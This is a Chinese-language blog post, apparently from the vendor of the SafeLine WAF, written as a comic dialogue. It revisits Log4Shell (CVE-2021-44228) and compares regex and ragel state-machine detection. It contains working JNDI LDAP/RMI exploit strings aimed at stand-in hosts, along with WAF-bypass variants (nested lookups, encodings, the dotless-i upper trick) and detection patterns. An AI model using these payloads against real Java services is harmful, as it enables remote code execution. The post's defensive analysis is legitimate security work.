不知名的安全研究员:大家好,我是某不知名的安全研究员。2021年11月24日,Apache基金会收到报告称,广泛使用的Java日志库Log4j存在严重的安全漏洞,可能导致隐私信息泄露和甚至是远程代码执行。2021年12月9日,该漏洞被公开,编号CVE-2021-44228。漏洞就公开披露后,就像引爆了一颗“核弹”一般,围绕着该漏洞的攻击如龙卷风般席卷全球网络。
不知名的安全研究员:时隔一年多,我们仍无法完全摆脱这颗“核弹”爆炸的影响,时至今日,当时的应急响应事件还历历在目。所以,今天想从WAF视角再次对这个事件做一次回顾,管中窥豹看看这个核弹级别的漏洞对WAF产生了什么影响,顺便也解密一下当时雷池安全策略做了什么工作。
吃瓜群众:(鼓掌)
不知名的安全研究员:Apache基金会于2021年12月9日公开披露了这个漏洞,长亭安全应急响应中心第一时间进行应急响应。 雷池WAF也在第一时间提供了虚拟补丁,长亭针对了受影响的组件提出缓解措施,同时张酉夫大佬也提供的删除了 JndiLookup.class 的对应版本:https://github.com/zhangyoufu/log4j2-without-jndi。
1、临时性缓解措施(任选一种,但是注意,老版本不一定支持这个选项)
- 在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true
- 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
- 创建 "log4j2.component.properties" 文件,文件中增加配置 "log4j2.formatMsgNoLookups=true"
或者
动解压删除:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 删除jar包里的这个漏洞相关的class,然后重启服务即可
不知名的安全研究员:关于漏洞的成因和分析已经有很多文章写的很详细了,文章里就不再分析了,这也不是本文的重点。下面让我们看看WAF是怎么去检测这个漏洞的各种利用的。
吃瓜群众:好耶
不知名的安全研究员:不过在这之前我们思考几个问题:
\$\{.*j.*n.*d.*i.*\:.*\}
(可能这个例子不是很完善,没有考虑到i的其它codepoint情况)。那如果这个正则已经可以匹配几乎大部分的payload了,那是不是语法分析就属于画蛇添足失去了意义呢?不知名的安全研究员:带这上面这个问题,我们开始今天的旅程。第一站,那些针对WAF的神奇的Log4j绕过 https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words 是怎么被解析的呢?
首先我们先回顾一下Log4j支持的lookup是什么,以及有什么用。
在Log4j中,lookup语法用于在运行时动态地获取配置信息。lookup语法使用${}
包围一个或多个键值对,其中键表示要查找的配置信息的名称,值表示在找不到键时的默认值。
以下是一些常见的lookup语法示例:
${sys:property}
:获取系统属性property
的值。${env:variable}
:获取环境变量variable
的值。${date:format}
:获取当前日期和时间的格式化字符串。format
参数是一个日期格式化字符串,例如yyyy-MM-dd HH:mm:ss
。${java:className}
:获取Java类className
的静态字段或方法的值。例如,${java:java.lang.Math.PI}
将返回圆周率的值。${log4j:configLocation}
:获取log4j配置文件的位置。这个值通常在log4j的配置文件中使用,以便在运行时动态地加载配置文件。${hostName}
:获取当前主机的名称。${pid}
:获取当前进程的ID。需要注意的是,lookup语法可以嵌套使用,以便在运行时动态地获取更复杂的配置信息。例如,${sys:${env:MY_ENV_VAR}}
将获取环境变量MY_ENV_VAR
的值,并将其用作系统属性的名称,以获取系统属性的值。
不知名的安全研究员:在回顾了lookup语法之后,让我们来看看是lookup是怎么被替换的呢?
通过上面的lookup示例可以看出,lookup是一种形如${....}
的字符序列。Log4j内部的substitute实现了lookup的替换,下面来张图:
值得注意的是,注释“Recursive handler for multiple levels of interpolation.”,他是Recursive的。也就是说如果存在嵌套的占位符${},他是会递归进行解析替换。
让我们来看看他是怎么实现的吧~
首先理解一下它定义的一下概念:
$
,是默认的转义符号{
{
结合时也就是${
,就表示一个开始标记(start marker)。:-
}
不知名的安全研究员:
简单点来说,Log4j设计了一套占位符替换的机制,并通过递归替换的方法来实现对其描述方法的解析。${}
符号就是这个占位符。
例如 ${hostName}
可以输出主机名
${java:vm}
输出jvm信息
不知名的安全研究员:
虽然上面这种替换也存在隐患,但是并不是CVE-2021-44228的直接利用方式。上面这些也只是将预定义的lookup进行替换输出,还没有达到能任意执行代码的级别。
我们知道最直接的利用方式是通过JNDI lookup来查找对象(远程对象)并打印。
例如:${jndi:ldap://chaitin.net/exploit}
然后log4j就通过解析这个jndi lookup,查找受攻击者控制的远程对象然后执行。具体内部利用就不再详细分析了,现在回归本节重点,现在我们如果要从一个WAF这样一种中间设备的来检测,就变成了如何查找${jndi:ldap://chaitin.net/exploit}
这样一个序列。
不过这个序列太长了,下面就简化成查找${jndi:}
这个字符序列。
为了方便大家理解检测算法在攻防场景中的迭代过程,我们邀请了一位攻击者和某台不愿意透露姓名的WAF,还有一位业务服务器先生(受害者脸)来参加这次的比赛。
WAF:接受挑战
攻击者:很好,我觉得这根本不算什么挑战
业务服务器先生:...
不知名的安全研究员:业务服务器先生,我们会保证您在此处比赛不会收到任何真实伤害的
业务服务器先生:... 我更关心业务不要被误拦
WAF:...
攻击者:...
不知名的安全研究员: ...
攻击者:好了,铺垫的足够多了,我要准备开始攻击了
WAF:没问题,先写一个算法去检测 ${jndi:
序列(其实就是正则规则\$\{jndi:
),看起工作的很好,虽然产生了一些误报,不过下面的payload都能被识别出来了
${jndi:ldap://chaitin.net/exploit}
${jndi:rmi://chaitin.net/exploit}
攻击者:很好,确实有一些攻击发送不过去了,不过,那${j${:-n}di:ldap://chaitin.net/exploit}
阁下又该如何应对呢?
WAF:咦,还可以这样吗?
不知名的安全研究员: ... 我好像已经说过了吧
WAF:那就改成(\$\{jndi)|(\$\{.*\$\{)
不知名的安全研究员: ...
攻击者:...
业务服务器先生:我觉得不行,可能影响业务
WAF: 有办法了,正则规则改成\$\{.*j\.*n.*d.*i.*\:.*\}
这样就可以了,应该能减少误报
业务服务器先生:我觉得可能...
攻击者:好像确实有很多攻击都发送不过去了。
攻击者:我要试一下不同的编码了(阴险)
WAF:那就...直接来吧
攻击者:啊,下面这些编码过的居然都发送不过去
{"key":"\u0024\u007B\u006A\u006E\u0064\u0069\u003A\u006C\u0064\u0061\u0070\u003A\u002F\u002F\u0063\u0068\u0061\u0069\u0074\u0069\u006E\u002E\u006E\u0065\u0074\u002F\u0065\u0078\u0070\u006C\u006F\u0069\u0074\u007D"}
$%7Bjndi:ldap://chaitin.net/exploit%7D
WAF:嘿嘿,我们支持了许多解码类型哦
不知名的安全研究员:编码不在本次比赛范围内,只针对语法上的绕过
攻击者、WAF: OK
攻击者: 虽然很大一部分payload发送不过去,不过,你好像忽略了这个
${jnd${upper:ı}:ldap://somesitehackerofhell.com/exploit}
WAF:咦,${upper:ı}
是什么?
不知名的安全研究员: 这是dotless i
https://codepoints.net/U+0131 它的upper case是大写的I
,通过它可绕过对jndi
字符的直接检测
攻击者:嘿嘿嘿
WAF: 那我是不是再把一些类似的字符加入charset就行了,类似 \$\{.*j.*n.*d.*(i|ı).*\:.*\}
业务服务器先生:稍等,好像产生了许多误报,是类似HADOOP_HOME=${HADOOP_HOME:-{{hadoop_home}}} ....
的配置数据,后面有数据正好命中了\$\{.*j.*n.*d.*i.*\:
的特征。
WAF: 看来规则还是太宽松了
业务服务器先生:那只能先用回之前的规则了
攻击者:看来第一回合我是不是轻松赢了
WAF:好吧,不知名的安全研究员先生,请问有什么更好的方法呢
不知名的安全研究员:如果我们实现一个substitute的替换方案,将所有绕过都替换回来,再去找jndi字符会不会更好呢,或者直接将java的实现搬过来,将jndi lookup剔除掉应该就可以
WAF:执行替换后再查找就容易许多了。不过,WAF大多数都不是旁路设备,对检测时延有比较高的要求,如果按照他那种实现不停的递归替换可能会造成比较大的性能问题,而且也有可能超级深递归导致dos。还是仅仅进行模式匹配会对WAF更友好一些(请关爱WAF)。
WAF:如果我继续修改上面的正则,通过加一些额外的pattern来辅助减少误报是否可行呢
不知名的安全研究员:那我们还是回到模式匹配上来,你上面说的方法是可行的,许多以正则为基础的WAF或者防火墙就是这么做的。但是有几个缺点,一是正则语法受限,增加pattern后,正则会变得很复杂,基本上很难维护。二是正则文法描述能力受限,最后生成的是DFA或NFA,匹配能力也受限,关于这部分下次再详细讲。总而言之,对于这种嵌套的语法,正则不能够精确的描述和匹配,pattern多了之后很难维护。
WAF:那有什么方法,既能尽量精准的描述这种lookup语言,又比较容易维护呢?
不知名的安全研究员:其实可以通过bison或anltr来做解析,但又有点重,还有可能产生回溯的问题,其实我们也并不需要生成语法树。如果自己用c语言手写一个又很有可能太麻烦了。对了,有一个能够编译有限状态机(Finite-state machine)的工具ragel应该可以帮到你。
WAF:FSM是什么?
不知名的安全研究员:(......)这个问题嘛, 来看看GPT的回答吧
WAF:(......) 说人话
不知名的安全研究员:有限状态机(Finite-state machine,FSM)是一种计算模型,可以把有限状态机想象成一个自动机器,它可以根据当前的状态和输入来执行相应的操作,并可能产生输出。状态转换是根据预先定义好的规则进行的,这些规则描述了在给定状态和输入下,系统应该转移到哪个状态,应该执行什么样的操作。在很多协议解析、工业控制、游戏开发都有应用。
不知名的安全研究员:在一般情况下,有限状态机的计算复杂度是较低的,因为它们的状态和状态转换是有限的。对于有限状态机,状态转换的时间复杂度通常是常数级别的,即不随输入规模的增加而增加,而整体时间复杂度和输入一般呈线性关系,即时间复杂度为O(N),不过前提是你的每个状态转移后的操作不能太复杂。这样就能尽可能保证
不知名的安全研究员:通过ragel编写FSM可以直接匹配字符序列,也可以模拟对lookup的语法解析,如果大家有兴趣,我可以下次可以详细讲讲。现在就先给个简单的例子吧。
%%{
machine uri;
action scheme {
// 你可以在匹配scheme后做任何事情
}
action loc {}
action item {}
action query {}
action last {}
action nothing {}
main :=
# Scheme machine. This is ambiguous with the item machine. We commit
# to the scheme machine on colon.
( [^:/?#]+ ':' @(colon,1) @scheme )?
# Location machine. This is ambiguous with the item machine. We remain
# ambiguous until a second slash, at that point and all points after
# we place a higher priority on staying in the location machine over
# moving into the item machine.
( ( '/' ( '/' [^/?#]* ) $(loc,1) ) %loc %/loc )?
# Item machine. Ambiguous with both scheme and location, which both
# get a higher priority on the characters causing ambiguity.
( ( [^?#]+ ) $(loc,0) $(colon,0) %item %/item )?
# Last two components, the characters that initiate these machines are
# not supported in any previous components, therefore there are no
# ambiguities introduced by these parts.
( '?' [^#]* %query %/query)?
( '#' any* %/last )?;
}%%
不知名的安全研究员:简单尝试一下对${jndi:
的匹配
%%{
machine log4j_exploit;
action match {
// 匹配了`${jndi:`
}
main := "${jndi:" @ match;
}%%
WAF: 这样就可以了嘛
不知名的安全研究员:是的,不过这个匹配其实和正则\$\{jndi:
效果一样
WAF: 似乎比正则复杂
不知名的安全研究员:增加了一些复杂性,但是描述能力增强了,你可以在action的时候做任何事情(跳过某些字符的检测、记录下符合序列的字符位置等等),正则不支持的交并补集在这里都支持了。当然也不仅仅可以拿他做模式匹配。
WAF: 我好像明白了。那就下一场走着瞧吧,嘿嘿
WAF:嘿,我和不知名的安全研究员先生对这个漏洞重新进行了详细的分析,然后用ragel实现了一个检测算法
攻击者:是嘛,让我试试
攻击者:Oh NO!攻击都被拦截了。你是怎么做到的?
WAF:思路和之前不知名的安全研究员先生说的差不多,使用ragel来写lookup语法的解析,只不过加了亿点点细节。
吃瓜群众:(wow)
WAF:具体加了哪一些细节,如果大家有兴趣下次可以细说,不过FSM和ragel是真的好用,使代码实现更简洁了,而且执行非常快
不知名的安全研究员:比赛结束,看来在第二轮中,攻击者没有能攻破WAF的防护。
吃瓜群众:(鼓掌)
吃瓜群众:wow这么强,那我们也想体验一下呢~
WAF:咳咳,既然你诚心诚意的发问了,那就插播一条广告。隆重宣布,我们已经出了社区版,大家有需要可以自行下载体验哦。https://github.com/chaitin/safeline
吃瓜群众、攻击者、不知名的安全研究员:(wow)
不知名的安全研究员:好了,比赛告一段落,两轮比赛互有胜负(受伤的只有业务服务器先生)
业务服务器先生:...
业务服务器先生:其实我很高兴第二天没有太多的误报
不知名的安全研究员: 是的,误报有时确实很讨厌。不过在实际攻防场景中,可不是这么简单的。让我们采访一下 WAF先生,对于这场比赛有什么感想?
WAF:我发现对WAF检测算法有了更深的认识,安全没有银弹,WAF的检测方法也一样。我列出了不同检测方法在几个不同维度上的优劣。不过在这个漏洞利用的检测上,我觉得语义分析还是更有优势一些
不知名的安全研究员:今天的比赛和分享到这里就差不多了,感谢大家。不知道大家还记不记得一开始的那几个问题,相信看完后也有了一些自己的答案了吧。
不知名的安全研究员:对了,大家也快来试用WAF先生的社区版吧~
链接:https://github.com/chaitin/safeline (可以顺手来个star哦)
WAF、不知名的安全研究员:看来我们的合作很成功,通过ragel来实现语义分析的检测似乎确实在误报漏报平衡上取得了不错的进展。
攻击者:是嘛?其实有一个绕过至今还没有在公开渠道上发现,我已经测试了几个WAF都无法拦截了
WAF、不知名的安全研究员:诶?是什么?
攻击者:悄悄告诉你,除了jndi四个字母,其实$也是能被替换的,但是与一般的替换稍微有点不同(阴险)
WAF、不知名的安全研究员:嗨,这个呀我们早就知道了,因为我们早已经对这个漏洞包括substitute的逻辑进行了很完整分析了(骄傲)
攻击者:噔噔咚...